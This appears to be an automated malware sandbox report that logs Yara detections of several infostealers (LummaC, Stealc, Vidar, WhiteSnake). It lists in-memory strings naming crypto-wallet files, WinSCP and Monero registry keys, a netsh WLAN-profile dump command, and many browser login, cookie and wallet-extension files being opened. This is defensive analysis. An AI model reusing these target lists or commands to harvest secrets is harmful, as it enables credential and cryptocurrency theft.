Source: Yara match File source: 2.2.axplong.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.axplong.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 44.2.skotes.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.axplong.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 45.2.skotes.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 42.2.V30AHCO282KY2KV83OC4RNYNX.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000002C.00000002.3211545990.0000000000361000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2044551682.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.2092569436.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2084688168.0000000000151000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 0000002A.00000003.3136806959.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2116587386.0000000000B11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2133465505.0000000000B11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 0000002D.00000003.3176373078.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2695733514.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3286156146.0000000000B11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 0000002D.00000002.3220163398.0000000000361000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000002A.00000002.3180314560.0000000000CA1000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.3167897345.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.2075904196.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 4088, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 7264, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 19.2.f99547c8e6.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 41.2.f99547c8e6.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000029.00000002.3260965862.000000000073B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.2780814664.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.3204730970.0000000000EE1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 00000029.00000003.3125912084.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.2929764002.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.3199781657.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000029.00000002.3261817464.0000000000EE1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 4744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 7064, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 4744, type: MEMORYSTR
Yara detected WhiteSnake Stealer
Source: Yara match File source: 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: build.exe PID: 5428, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: build.exe, 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %AppData%\Electrum\wallets
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000A88000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\*.*
Source: build.exe, 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: >%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000A88000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\window-state.json&
Source: build.exe, 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %exodus.conf.json;exodus.wallet\*.seco
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: info.seco
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build.exe, 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $%AppData%\Jaxx\Local Storage\leveldb
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build.exe, 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %AppData%\Exodus
Source: build.exe, 00000008.00000002.2778489586.000001BE8046E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: dC:\Users\user\AppData\Roaming\Binance
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\jaxx\Local Storage\file__0.localstorage
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build.exe, 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: &%LocalAppData%\Coinomi\Coinomi\wallets
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000A88000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\*.*N
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000A88000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\*.*
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\build.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal WLAN passwords
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
